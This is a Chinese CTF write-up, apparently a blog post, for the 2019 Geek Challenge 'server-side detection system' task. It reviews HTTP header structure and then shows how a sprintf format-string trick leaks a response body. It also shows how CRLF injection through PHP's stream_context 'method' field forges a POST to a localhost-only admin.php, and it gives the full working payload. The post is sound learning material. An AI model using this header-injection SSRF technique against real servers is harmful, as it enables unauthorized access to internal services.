极客大挑战2019的"服务端检测系统"

极客大挑战的"服务端检测系统"

这道题没做出来,看来writeup之后发现是因为自己基础知识不足。这里补一下。

关于HTTP头的一些小知识

http头的格式:
请求方法 /路径 HTTP/版本
头字段: 值

比如:
	GET /index.php HTTP/1.1
	Host: 127.0.0.1

http头部的各个字段之间用CRLF(\r\n)(%0d%0a)分割
http请求头(响应头)和请求体(响应体)之间用两个CRLF分割

最简单的Http请求

get请求:

GET / HTTP/1.1
Host: xx

post请求

POST / HTTP/1.1
Host: xxx
Content-Type: application/x-www-from-urlencoded
Content-Length: 3

a=1
http头的字段(一小部分)
Host

用于多个域名映射到同一个ip时,按照Host的内容匹配不同网站内容,每个Http头必须有Host头
当这个目的主机上只有一个网站,那么Host字段内容可以为任意值

Content-Type

表明内容部分的编码格式和媒体类型 post/put等方式必须有(如果有请求体)

请求头中的Content-Type
GET请求:
GET没有请求实体部分,所以请求头中不需要设置Content-Type字段
POST/PUT请求
如果post/put请求有请求体(有传值),那么必须要设置Content-Type字段(否则服务端可能无法处理你的请求)

  • 第一类:raw原始类型,可以上传任意格式的文本,比如text、json、xml、html…(中文不进行编码)
    text请求:Content-Type: text/plain
    json请求:Content-Type: application/json
    html请求:Content-Type: text/html
  • 第二类:application/x-www-from-urlencoded,会将表单内的数据转换拼接成key-value对(对非ascii码进行编码)
    Content-Type: application/x-www-from-urlencoded
  • 第三类:multipart/from-data,将表单的数据处理为一条消息,以标签为单元,用分隔符分开。既可以上传键值对,也可以上传文件。
    Content-Type: multipart/from-data;boundary=xxx
    在请求体中会有一个Content-Disposition字段,用于描述提交的表单的具体信息
    在这里插入图片描述
    响应头中的Content-Type
    用来告诉客户端,服务端返回的真实内容类型是什么。浏览器或客户端会根据这个值来做一些操作。
Content-Length 表示内容部分的长度 post/put等方式必须有(如果有请求体)


了解了上面的东西再来看这道题

题目给了源码,可控的变量是url和method,提示了admin.php,但要本地才能访问。

<!-- /admin.php -->

<!--
    if(isset($_POST['method']) && isset($_POST['url']) ){
        $method=$_POST['method'];
        $url=$_POST['url'];

        if(preg_match('/^http:\/\//i',$url)){
            $opts = array(
                'http'=>array(
                    'method'=>$method,
                    'timeout'=>3
                )
            );

            $context = stream_context_create($opts);
            $body = @file_get_contents($url."/anything", false, $context);

            if(isset($http_response_header)){
                preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);
                if(isset($matches[1])){
                    echo "服务端支持的请求方法有:".$matches[1];
                }else{
                    echo "failed<br>";
                    echo sprintf("body length of $method%d", $body);
                }
                
            }else{
                echo "error";
            }
        }else{
            echo 'not allowed';
        }

    }
-->

注意到这里将method放在了%d的前面,如果method为%s%,name结尾的%就会将%d中的%给转移掉,而前面的%s就可以将body中的内容给打印出来。
而method又会作为http请求的方式,但不影响,因为某些中间件会将不认识的方式默认当做GET请求来响应

echo "failed<br>";
echo sprintf("body length of $method%d", $body);

提交method=%s%,得到:在这里插入图片描述
代码为:

 <?php
    include("flag.php");
    if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){
        show_source(__FILE__);
        if(@$_POST["iwantflag"]=="yes"){
            echo $flag;
        }
    }else{
        echo "only 127.0.0.1 can visit it";
    } 

这里要post一个iwantflag=yes才能获得flag

再看看下面这串代码

 $opts = array(
      'http'=>array(
          'method'=>$method,
          'timeout'=>3
      )
  );

  $context = stream_context_create($opts);
  $body = @file_get_contents($url."/anything", false, $context);

这里使用的stream_context_create和file_get_contents来模拟http请求,method是直接拼接的我们的输入,所以这里我们可以构造一个任意的http请求。

举个列子:
这里服务器的代码为

<?php
$method=$_POST['method'];
$arr = array(
    'http'=>array(
        'method' => $method,
        'header' => "Accept-langule: en"
    )
);
$context=stream_context_create($arr);
$body = file_get_contents("http://127.0.0.1:8808",false,$context);
var_dump($body);
?>

我们用nc来监听本机的8808端口,看看file_get_contents发送的http头数据

nc -lp 8808

如果method为正常的GET,这时候就是正常的一个http请求
在这里插入图片描述
而也很容易想到,我们可以通过method来进行注入,使http头变成我们想要的样子,比如我输入

method=POST / HTTP/1.1
Host: 123
Content-Type: application/x-www-from-urlencoded
Content-Length: 3

a=1
a

这时发出的http请求就会变成
在这里插入图片描述
可以看到,前面的包已经完全成为我们可控的了。

到这里已经很明白了,只要通过method构造我们的http请求头即可

最后payload:

url=http://127.0.0.1&method=POST /admin.php HTTP/1.1
Host: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

iwantflag=yes%26id=%s%

最后加一个参数是为了防止后面的东西影响到前面的iwantflag参数
%26是&的url编码格式,防止在提前被认为是参数分隔符。

最后,得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值